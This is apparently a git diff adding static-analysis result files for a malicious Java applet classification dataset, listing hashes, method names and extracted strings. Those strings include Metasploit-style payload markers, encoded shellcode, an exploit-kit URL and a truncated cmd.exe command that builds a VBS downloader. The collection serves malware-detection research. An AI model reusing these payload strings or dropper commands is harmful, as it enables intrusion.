"384:0Hje0yokZjSS+RewxQcJGiQ3ePAZl8nq2ctNvd:Sje1bZjz+ReYvlQuopFd", "sha256": "541cf876c150714f920b1b936aea89905afeaddbcb30c3b5660b530b8e3920e2", "md5": "df593779e3b7b801636dc9d64b0134bc", "parent_sha256": "541cf876c150714f920b1b936aea89905afeaddbcb30c3b5660b530b8e3920e2"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/5497153b23c91d45ace3923ced058dff9ecb30f51ca62aaeee7cb8b499721c47.results b/java_classification/data/malicious/5497153b23c91d45ace3923ced058dff9ecb30f51ca62aaeee7cb8b499721c47.results
new file mode 100755
index 0000000..047691b
--- /dev/null
+++ b/java_classification/data/malicious/5497153b23c91d45ace3923ced058dff9ecb30f51ca62aaeee7cb8b499721c47.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "UlffDpI.java", "class_name": "luLbEI/UlffDpI", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "sYuEXRpPg", "qHlbeg", "aRNCB", "tKreO"], "minor_version": 0, "const_pool_count": 205}}, "_id": "f6d9f5ec-3ab4-470d-8b26-8544842e1314", "verbose": {"java": {"constant strings": ["//-"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c89fdeb06ff7c204b1f26d68b553fe45eccba473", "file_name": "java_malicious/5497153b23c91d45ace3923ced058dff9ecb30f51ca62aaeee7cb8b499721c47", "_id": "f6d9f5ec-3ab4-470d-8b26-8544842e1314", "score": 0, "entropy": 5.568054139079714, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3584, "ssdeep": "48:qHZBFCNyFlZJfVXTH7pCf/CWSnI1VVQBejZuOme2kMUddysWiI1FqwzF0oY:wZOoFlZJJ7YC01VuBejwVeX0nqwY", "sha256": "5497153b23c91d45ace3923ced058dff9ecb30f51ca62aaeee7cb8b499721c47", "md5": "7eb0de9ee9cc377c403691838e63c0a0", "parent_sha256": "5497153b23c91d45ace3923ced058dff9ecb30f51ca62aaeee7cb8b499721c47"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/54a617e3c5a4e6f3d5a6b568ad659c83a44660f7e2461939f861dd5bc5ab7d35.results b/java_classification/data/malicious/54a617e3c5a4e6f3d5a6b568ad659c83a44660f7e2461939f861dd5bc5ab7d35.results
new file mode 100755
index 0000000..6240993
--- /dev/null
+++ b/java_classification/data/malicious/54a617e3c5a4e6f3d5a6b568ad659c83a44660f7e2461939f861dd5bc5ab7d35.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "nDpGrvLpKz/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "0062a8e5-a5eb-4263-b1d1-439f88e5b377", "verbose": {"java": {"constant strings": ["nDpGrvLpKz.Payload", ".class", "/nDpGrvLpKz.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "nDpGrvLpKz.dat", "URL", "", "https:", "nDpGrvLpKz/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "nDpGrvLpKz/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "nDpGrvLpKz.PayloadTrustManager", "useFor", "java.net.URLConnection", "nDpGrvLpKz.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaYsZtrpE.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "68bd7477a4eeabdbe07b6dcd7b7be7fdbfa569fb", "file_name": "java_malicious/54a617e3c5a4e6f3d5a6b568ad659c83a44660f7e2461939f861dd5bc5ab7d35", "_id": "0062a8e5-a5eb-4263-b1d1-439f88e5b377", "score": 0, "entropy": 6.140368355476495, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMSDUBVv+W0JlThmguxjIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1tCJWtmjRNvpvUrKYvCkgHzbDrDF", "sha256": "54a617e3c5a4e6f3d5a6b568ad659c83a44660f7e2461939f861dd5bc5ab7d35", "md5": "106a4a033fbd5a88cfcef588c42a55a1", "parent_sha256": "54a617e3c5a4e6f3d5a6b568ad659c83a44660f7e2461939f861dd5bc5ab7d35"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/55980b5a22f4a91699b25c81ec19441a8def03bbf82a892340499b8d616d3e45.results b/java_classification/data/malicious/55980b5a22f4a91699b25c81ec19441a8def03bbf82a892340499b8d616d3e45.results
new file mode 100755
index 0000000..15ec904
--- /dev/null
+++ b/java_classification/data/malicious/55980b5a22f4a91699b25c81ec19441a8def03bbf82a892340499b8d616d3e45.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "FlashPlayer", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 45, "method_names": ["init", "VaUQzTWmdEXKN", "<init>"], "minor_version": 3, "const_pool_count": 216}}, "_id": "fbf7d5e4-16f6-46b2-9df0-183275ce0171", "verbose": {"java": {"constant strings": ["r!r==\"g~{:x4|?", "&$x=", "8", "G3}?m>{z\\\\)e(", "1e=K\\x16n4t1}$&)\\x1c\\x1ez\"->w2iqf9d5a4g4p)", "|p", "$", "\\x11]\\x14N\\x1f@\\x1f", "&", "o", "*", "("]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f046c474c1607315ba5f74fa7db9a9155d06c374", "file_name": "java_malicious/55980b5a22f4a91699b25c81ec19441a8def03bbf82a892340499b8d616d3e45", "_id": "fbf7d5e4-16f6-46b2-9df0-183275ce0171", "score": 0, "entropy": 5.963057881560432, "libmagic": "compiled Java class data, version 45.3", "file_size": 2974, "ssdeep": "48:7p0usVsfo9DZbFEREAcuPeRcJHp22n+84CDZDRfhtVC0fG19T1T5NWEjlkIcc57O:7pqjhERjcu1K84C1dP61rbjOD97", "sha256": "55980b5a22f4a91699b25c81ec19441a8def03bbf82a892340499b8d616d3e45", "md5": "1f56c5a953670caffb5324a1aa08f57c", "parent_sha256": "55980b5a22f4a91699b25c81ec19441a8def03bbf82a892340499b8d616d3e45"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/55e921739cb7a933c77fda4e3af84e03d212bcd0ee4633af407ed453787a947f.results b/java_classification/data/malicious/55e921739cb7a933c77fda4e3af84e03d212bcd0ee4633af407ed453787a947f.results
new file mode 100755
index 0000000..dd0d928
--- /dev/null
+++ b/java_classification/data/malicious/55e921739cb7a933c77fda4e3af84e03d212bcd0ee4633af407ed453787a947f.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/570f35a39b4c425ff22ba72e82ed2729cec115d69b01855641b4c6fcf8160feb.results b/java_classification/data/malicious/570f35a39b4c425ff22ba72e82ed2729cec115d69b01855641b4c6fcf8160feb.results
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diff --git a/java_classification/data/malicious/5896a66a0ad7f934620682a371b82cb6f8e6f8956df8755595f6b5fa4be017ee.results b/java_classification/data/malicious/5896a66a0ad7f934620682a371b82cb6f8e6f8956df8755595f6b5fa4be017ee.results
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index 0000000..5355446
--- /dev/null
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diff --git a/java_classification/data/malicious/58e889f4d63a91f5db0dfd6f815434555db696d7d7bccb3d74590bad25d9e2ff.results b/java_classification/data/malicious/58e889f4d63a91f5db0dfd6f815434555db696d7d7bccb3d74590bad25d9e2ff.results
new file mode 100755
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@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/5999aaefc118f9c02bbccf5b12ff90869d4241bd4c4290aef5830e06be6d9690.results b/java_classification/data/malicious/5999aaefc118f9c02bbccf5b12ff90869d4241bd4c4290aef5830e06be6d9690.results
new file mode 100755
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"file_name": "java_malicious/5999aaefc118f9c02bbccf5b12ff90869d4241bd4c4290aef5830e06be6d9690", "_id": "e0da01ae-29e4-43f4-b0a3-1897460196dc", "score": 0, "entropy": 5.329896917339209, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 9378, "ssdeep": "96:8lIFlPLhny79hOeylPda2LStDI8ayjZ94aTvZTMUuyko4Rcn5MRECfOPntEesX4:8YlTZy79Bt9DjZaaTRTMUuPo4m2RGtZ", "sha256": "5999aaefc118f9c02bbccf5b12ff90869d4241bd4c4290aef5830e06be6d9690", "md5": "00d3c772abef4889f531e1fd37677a88", "parent_sha256": "5999aaefc118f9c02bbccf5b12ff90869d4241bd4c4290aef5830e06be6d9690"}}
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diff --git a/java_classification/data/malicious/5ab91099f2ed45f468dc8e41ca8ef88b0681c7bbc0bf7ae59a44e1a83ce06d40.results b/java_classification/data/malicious/5ab91099f2ed45f468dc8e41ca8ef88b0681c7bbc0bf7ae59a44e1a83ce06d40.results
new file mode 100755
index 0000000..5f2982c
--- /dev/null
+++ b/java_classification/data/malicious/5ab91099f2ed45f468dc8e41ca8ef88b0681c7bbc0bf7ae59a44e1a83ce06d40.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "MwcNrKk.java", "class_name": "MwcNrKk", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "log", "init", "toHex", "tryExpl", "down_exec"], "minor_version": 0, "const_pool_count": 336}}, "_id": "0c096ca1-d507-4832-8f68-18b741ba4c79", "verbose": {"java": {"constant strings": ["", "os.arch", "64", " ", "%20", "&s=", "&d=", "data", "no", "setSecurityManager", "HMEMSDB", ".exe", "&s=2&d="]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f7c9e2ceb3eaf17d67a1f246beb76622ee2103c7", "file_name": "java_malicious/5ab91099f2ed45f468dc8e41ca8ef88b0681c7bbc0bf7ae59a44e1a83ce06d40", "_id": "0c096ca1-d507-4832-8f68-18b741ba4c79", "score": 0, "entropy": 5.921938162878253, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6533, "ssdeep": "96:AnXl7SxVk9ayWMTuLIbLJxNa7689DvAlj2hfCE5mIKB3oot56UuW:ol2xVlyWvcNq764vAl1Vzr3", "sha256": "5ab91099f2ed45f468dc8e41ca8ef88b0681c7bbc0bf7ae59a44e1a83ce06d40", "md5": "5b07ec40be07bec108c60e366b363c76", "parent_sha256": "5ab91099f2ed45f468dc8e41ca8ef88b0681c7bbc0bf7ae59a44e1a83ce06d40"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/5bf99d77e30de631f00275a471e189fdb05662569f8b57901a197d580e27b2d2.results b/java_classification/data/malicious/5bf99d77e30de631f00275a471e189fdb05662569f8b57901a197d580e27b2d2.results
new file mode 100755
index 0000000..e3b8186
--- /dev/null
+++ b/java_classification/data/malicious/5bf99d77e30de631f00275a471e189fdb05662569f8b57901a197d580e27b2d2.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "xlIjTaRPaP/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "4b7bd823-da2a-4553-a645-30538133e8db", "verbose": {"java": {"constant strings": ["xlIjTaRPaP.Payload", ".class", "/xlIjTaRPaP.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "xlIjTaRPaP.dat", "URL", "", "https:", "xlIjTaRPaP/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "xlIjTaRPaP/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "xlIjTaRPaP.PayloadTrustManager", "useFor", "java.net.URLConnection", "xlIjTaRPaP.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaOXQdnQj.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d2ed1ff33886a0b89baee3d8b48fa66dee01df81", "file_name": "java_malicious/5bf99d77e30de631f00275a471e189fdb05662569f8b57901a197d580e27b2d2", "_id": "4b7bd823-da2a-4553-a645-30538133e8db", "score": 0, "entropy": 6.133789777316359, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMr7DUBD+W5lThmkztxnIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1tNDPtmk9NvpvUrKYvCkgHzbDrDF", "sha256": "5bf99d77e30de631f00275a471e189fdb05662569f8b57901a197d580e27b2d2", "md5": "e6738c91a87fcd22538fceaec60e19ac", "parent_sha256": "5bf99d77e30de631f00275a471e189fdb05662569f8b57901a197d580e27b2d2"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/5bfbb86cde0cdfb4c1ecfdaefba3e008438796d9a5502c15d9039c27819536ca.results b/java_classification/data/malicious/5bfbb86cde0cdfb4c1ecfdaefba3e008438796d9a5502c15d9039c27819536ca.results
new file mode 100755
index 0000000..401cda0
--- /dev/null
+++ b/java_classification/data/malicious/5bfbb86cde0cdfb4c1ecfdaefba3e008438796d9a5502c15d9039c27819536ca.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "a/Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "boremana"], "minor_version": 0, "const_pool_count": 138}}, "_id": "696726dd-132f-417c-a646-dca9b421042e", "verbose": {"java": {"constant strings": ["roitnoiergnirjgoiejrgiorjgoerijg", "url", "mmc.sess_pe_act.action=validate\\nthread.thread_num_max=8\\nfile.destructive.state=disabled\\njscan.session.user_name=MS4xLjEuNg==\\njscan.sess_applet_act.unsigned=instrument\\njscan.sess_applet_act.stub_out_blocked_applet=true\\njscan.sess_applet_act.block_all=false\\nmmc.sess_pe_act.block_invalid=true\\nmmc.sess_cab_act.block_unsigned=false\\nthread.thread_num_limited=true\\nwindow.num_max=5\\njscan.session.policyname=TU1DIERlZmF1bHQgUG9saWN5\\njscan.sess_applet_act.sig_trusted=pass\\njscan.sess_applet_act.sig_invalid=block\\nmmc.sess_pe_act.block_blacklisted=false\\nmmc.sess_cab_act.block_blacklisted=true\\njscan.sess_applet_act.sig_blacklisted=block\\njscan.session.origin_uri=http://kifrer.instanthq.com/profile.php?exp=atom&b=2b52293&k=42ceeda9451ad8c464a656ce5d97d70f\\nnet.connect_other=false\\njscan.session.user_ipaddr=1.1.1.6\\njscan.session.daemon_protocol=http\\nthread.threadgroup_create=false\\nfile.read.state=disabled\\nfile.nondestructive.state=disabled\\nnet.bind_enable=false\\nnet.connect_src=true\\nmmc.sess_cab_act.action=validate\\nmmc.sess_pe_act.block_unsigned=false\\nfile.write.state=disabled\\nmmc.sess_cab_act.block_invalid=true\\nwindow.num_limited=true", "instr.action.send_data=send data to {0}\\ninstr.action.invoke_sys_noarg=invoke the {0}.{1}() operation\\ninstr.msg.dialog.applet_terminated=APPLET TERMINATED\\ninstr.button.no=No\\ninstr.button.allow=Allow\\ninstr.action.bind_local=bind local port {0}\\ninstr.action.policy_stop_error=Applet disabled by IWSVA Javascan site policy.\\ninstr.action.connect=connect to {0}\\ninstr.action.runtime.exec=run the following executable: {0}\\ninstr.action.invoke_sys_arg=invoke the {0}.{1}() operation on {2}\\ninstr.button.yes=Yes\\ninstr.action.policy_security_exception=The Applet is not allowed to {0} by IWSVA Javascan site policy.\\ninstr.action.file.write=perform a write operation on file {0}\\ninstr.dialog.title.applet_alert=--APPLET ALERT--\\ninstr.action.receive_data=receive data from {0}\\ninstr.action.bind_local_unspec=bind to a free local port\\ninstr.msg.dialog.applet_stopped=The applet has been terminated because it was attempting to perform an action that violates corporate security policy.\\ninstr.msg.thread.limit=have more than {0} active threads\\ninstr.msg.dialog.ask_stop_applet=Do you want to stop the applet now?\\ninstr.msg.window.limit=have more than {0} active windows\\ninstr.action.file.nondestructive_alt=access \"{0}\" state attributes\\ninstr.action.invoke=invoke {0}\\ninstr.button.ok=OK\\ninstr.msg.dialog.action_warning_start=The applet is attempting to {0}\\ninstr.msg.thread.group_limit=create new thread groups\\ninstr.button.stop_applet=Stop Applet\\ninstr.action.file.destructive_alt=perform a \"{0}\" state change operation\\ninstr.action.file.nondestructive=access the \"{1}\" state attributes of file {0}\\ninstr.action.file.destructive=perform a \"{1}\" state change operation on file {0}\\ninstr.button.disallow=Disallow\\ninstr.action.file.read=perform a read operation on file {0}"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "82943b7c2771901f169e8dd1432370b42a6b5f04", "file_name": "java_malicious/5bfbb86cde0cdfb4c1ecfdaefba3e008438796d9a5502c15d9039c27819536ca", "_id": "696726dd-132f-417c-a646-dca9b421042e", "score": 0, "entropy": 5.854914770261878, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 7827, "ssdeep": "192:CRAlpZxQgmNNcgqAOr3z4ukO28wXuymgc1JZhMtD7Rju174ace5JuzVJHtTQu:jtxTuqAy4lXuymT1JAtc49e5Juz", "sha256": "5bfbb86cde0cdfb4c1ecfdaefba3e008438796d9a5502c15d9039c27819536ca", "md5": "d12878fd110df5fdc7e7f686e24c995f", "parent_sha256": "5bfbb86cde0cdfb4c1ecfdaefba3e008438796d9a5502c15d9039c27819536ca"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/5c2cce9af13ab0d12c2ea0c1fd9c61cc33123e8c3bb01c992e1fb3bd87c407e9.results b/java_classification/data/malicious/5c2cce9af13ab0d12c2ea0c1fd9c61cc33123e8c3bb01c992e1fb3bd87c407e9.results
new file mode 100755
index 0000000..d9b1454
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+++ b/java_classification/data/malicious/5c2cce9af13ab0d12c2ea0c1fd9c61cc33123e8c3bb01c992e1fb3bd87c407e9.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 68}}, "_id": "e047f2d5-e874-43ed-b108-5cb53eb03fa1", "verbose": {"java": {"constant strings": ["TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINpNpLPNpNpnpJ0NpnpLPKXuPePc0uPzK7pM9ylEPwpc0aOqtOQtpePWpePT8TLLKSptLLKt0uLNMNkqxdHXk39lKspttLMspqlnkU8ElnkzWPjvd2yJHLOWpWp5P8b9iQx0oPn5PS0axPuabrLPmBtkODVNkM8M8rYwpuP30nkKg77opUoWpbUKJswrwswOpuouPQexzLKzOqO6SO9NahlTD5Q5PGplKYLPQ3bPSSXtDUQGpUP9orvFlsjaIf1f2LKTBPSrcop5kUPSEyjna1kIl4nperXREPuWsosZKdHMYgsZgQS34vNrEpxREYVSsvhWpqKOzIQ6dP0MXaUePUcYPpPbprsbwpPioaFR0osjXwpD5UV0jwqpSKOPVGtCjSioso2s4QQOpWJePpumdyoPVgxpQ2vNkRUWLLKCDdnt8TCzUv6nkpvq0ESJU7CYYaYg1Lm7szetsIKFoONr0tz8Vt4C8kqJkdMwshZG0xkl1gK7opuYwcnnkqN5tUSYMQvlK6lBknksneLwsyMLKuTnkFczeLkaNbyo3kXIokNKOKOLNRntNZLlXynMZvnqnxXKRBSp3yZnjqKTvvz6ObPPbQQBSE5GpQxT4CDppgJvO6OCEU3RFpxCXqusVPurPBNbF6NSSporMTorNPte5VOpt2RPed3T4Dq4p6NrPphPpvOu53xsV6WuhDx4stwfX51Cf6PtqTpfP2F4pp7p0dpvP5fbr4up1p2QqpbQv05TsP16PP2pTqrSSQqQusQE4sT3TFRfPvQ2L6PP4fP4yPKvSSUWDP6edp4UbtxP3tqp8CzTparvPtp4pp6Dp017pWpA", "419,20,7f,6d", ",", "file://abc/", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5f36c2804334c842b9940136355df38a9c760bff", "file_name": "java_malicious/5c2cce9af13ab0d12c2ea0c1fd9c61cc33123e8c3bb01c992e1fb3bd87c407e9", "_id": "e047f2d5-e874-43ed-b108-5cb53eb03fa1", "score": 0, "entropy": 6.233537755283274, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2071, "ssdeep": "48:hKJyFlob5I2/HpnZYN1Cmoy+67WgLb/FlIZF3CHTTpozwZHGu:FFlZ2/fYN4lR6XtOHyzNozwZGu", "sha256": "5c2cce9af13ab0d12c2ea0c1fd9c61cc33123e8c3bb01c992e1fb3bd87c407e9", "md5": "569727d162ed730a3792edc39f4ca135", "parent_sha256": "5c2cce9af13ab0d12c2ea0c1fd9c61cc33123e8c3bb01c992e1fb3bd87c407e9"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/5c85bc2ba411cd1cb6dccacbc13cf4701cdaad30e48d341d8556def7c1a54f39.results b/java_classification/data/malicious/5c85bc2ba411cd1cb6dccacbc13cf4701cdaad30e48d341d8556def7c1a54f39.results
new file mode 100755
index 0000000..5662a96
--- /dev/null
+++ b/java_classification/data/malicious/5c85bc2ba411cd1cb6dccacbc13cf4701cdaad30e48d341d8556def7c1a54f39.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "0871dbbe-cc21-4469-bb9f-6f675021d995", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pj,0N,pN,pN,pl,Pz,0L,Pl,Pj,0z,HC,0W,ps,0S,0z,K3,0k,YK,Lg,pe,PU,PS,op,dm,q6,PU,P5,P7,pp,xt,LN,k3,pt,Ll,Kp,pu,Ln,Ml,K5,8W,xJ,KG,yl,KQ,Pp,4l,Ms,pq,ln,kE,8G,LL,K9,gs,ZS,41,I8,hL,OW,pc,03,0m,2X,yS,Xb,Op,ng,pG,pP,ht,5P,rP,l0,m0,TK,O7,fl,Ky,xM,8R,Y7,pS,0w,pN,kn,7s,wk,0W,OW,pr,Uz,Zs,wp,WR,gO,pU,ow,pQ,eJ,Zn,kX,oq,OW,Ck,yK,1X,lS,4U,Qg,pW,pn,kY,Lp,Qr,rR,sb,Hg,t5,QE,P7,pK,Op,Vd,LB,zq,Is,ap,Rl,K4,Bp,Sq,SM,PW,KU,Pq,ez,ZK,1Q,kK,Lf,N5,5R,Xs,Up,uV,cM,SZ,KC,8O,yf,cO,72,c6,d6,Nc,UQ,h0,eJ,fc,sE,Xw,pq,KM,ZO,1V,dp,0l,H2,e7,pp,3k,pF,0r,pP,Sv,70,Pi,o2,vf,pM,SL,8S,0p,uE,VP,jS,1r,sI,op,Ve,T0,ZC,iM,SH,BW,tr,ao,pg,JU,P0,um,dK,Op,V6,h0,Qs,fL,KT,55,lN,kQ,dV,NP,x3,3x,uR,vN,k0,vU,pw,sZ,UE,ck,yQ,Y3,qL,mt,Cz,eg,Cy,Kt,Om,nF,pE,jX,Vt,4c,8y,Qh,Kt,MW,sz,zq,PZ,Kz,Qu,kw,oR,U9,wQ,NN,ka,NU,tu,SI,Mp,fn,k6,lp,Kn,kq,Nu,Le,SY,Mn,k7,tN,kW,sy,Un,Kq,N1,Iy,SY,xk,Ok,NK,OY,on,nP,Nd,Nh,lO,hK,Nl,JV,ns,Ni,H8,b3,CU,cZ,jM,ZQ,K4,vt,ZD,oB,Pb,IP,Rw,3R,nw,pQ,x4,4T,4r,Pt,zD,oV,Op,7d,7p,i2,N0,xv,N1,sR,O2,Mv,OR,CS,WQ,yv,MC,Re,9P,nV,O1,tr,Id,2p,ep,cT,4P,or,Ra,if,NP,sR,Ha,dP,m0,lT,or,Nv,Pd,p5,hv,Qt,pp,6e,bv,P6,QW,Cf,PD,tp,rV,P0,46,Pd,yr,j4,q6,QT,pT,pP,07,FV,Pe,aV,2p,ep,4B,CT,tb,B4,sb,ET,us,ga,vg,GT,qt,qQ,qf,X1,tf,Pc,hQ,s4,wp,24,rs,Qu,cP,cv,U2,yp,8q,sQ,uc,Vv,Pv,U6,YF,RB,zp,0F,Qt,p6,PU,60,0v,XT,pg,pG,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c32cb2ca3ce67b8cc158816fc35a1fb8f7c16e23", "file_name": "java_malicious/5c85bc2ba411cd1cb6dccacbc13cf4701cdaad30e48d341d8556def7c1a54f39", "_id": "0871dbbe-cc21-4469-bb9f-6f675021d995", "score": 0, "entropy": 6.110905146496458, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3240, "ssdeep": "48:JOryFlpU/5iumiJzvod7R7YEmCuDqWY4IAFis+5ULpfmHezrTFzNe4WZ:HFlC5iuTLo/kEmTDE2iTULNkez1zNjWZ", "sha256": "5c85bc2ba411cd1cb6dccacbc13cf4701cdaad30e48d341d8556def7c1a54f39", "md5": "a29d86083a93a85c6864a389bc007776", "parent_sha256": "5c85bc2ba411cd1cb6dccacbc13cf4701cdaad30e48d341d8556def7c1a54f39"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/5cdb5c39c82812666070488df66aa14579b576a769af327730d233a56c4050cd.results b/java_classification/data/malicious/5cdb5c39c82812666070488df66aa14579b576a769af327730d233a56c4050cd.results
new file mode 100755
index 0000000..3933dd9
--- /dev/null
+++ b/java_classification/data/malicious/5cdb5c39c82812666070488df66aa14579b576a769af327730d233a56c4050cd.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "HygsKCln.java", "class_name": "HygsKCln", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "init", "FCBVTs", "uXuPQhk"], "minor_version": 0, "const_pool_count": 84}}, "_id": "d0bc075c-2197-423c-913c-658e6121f4f3", "verbose": {"java": {"constant strings": ["\\x02&\\x13 \\x0e;0", "\\x15\\x04\\x13\\x17\\x02\\x135\\x19\\x18\\x02\\x13\\x0e\\x02", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X5\\x19\\x1a\\x19\\x04;\\x19\\x12\\x13\\x1a\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X5\\x19\\x1a\\x19\\x04;\\x19\\x12\\x13\\x1a\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X$\\x13\\x18\\x12\\x13\\x04\\x1f\\x18\\x11>\\x1f\\x18\\x02\\x05"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "42f32a6fe661c76f2f49a58896721a085f935257", "file_name": "java_malicious/5cdb5c39c82812666070488df66aa14579b576a769af327730d233a56c4050cd", "_id": "d0bc075c-2197-423c-913c-658e6121f4f3", "score": 0, "entropy": 5.674902433769197, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1730, "ssdeep": "48:8uyFllLLELCbpdPVx8wQHWTuGddLlssVCDz:qFllLLEL4d/84NddLlXCf", "sha256": "5cdb5c39c82812666070488df66aa14579b576a769af327730d233a56c4050cd", "md5": "b7509cc5c2b9ac58b61cdde1aa8a6ce0", "parent_sha256": "5cdb5c39c82812666070488df66aa14579b576a769af327730d233a56c4050cd"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/5d7fb5e40ef151a317fae759605f8c0c2c4ad9e292e1f7ab778c94f21b2f31f1.results b/java_classification/data/malicious/5d7fb5e40ef151a317fae759605f8c0c2c4ad9e292e1f7ab778c94f21b2f31f1.results
new file mode 100755
index 0000000..717f7f0
--- /dev/null
+++ b/java_classification/data/malicious/5d7fb5e40ef151a317fae759605f8c0c2c4ad9e292e1f7ab778c94f21b2f31f1.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "681c304f-c286-418f-9dec-56eb04dfb82e", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "lESEQb5EKYs2qluyX", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo gond=\"lESEQb5EKYs2qluy\">>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo 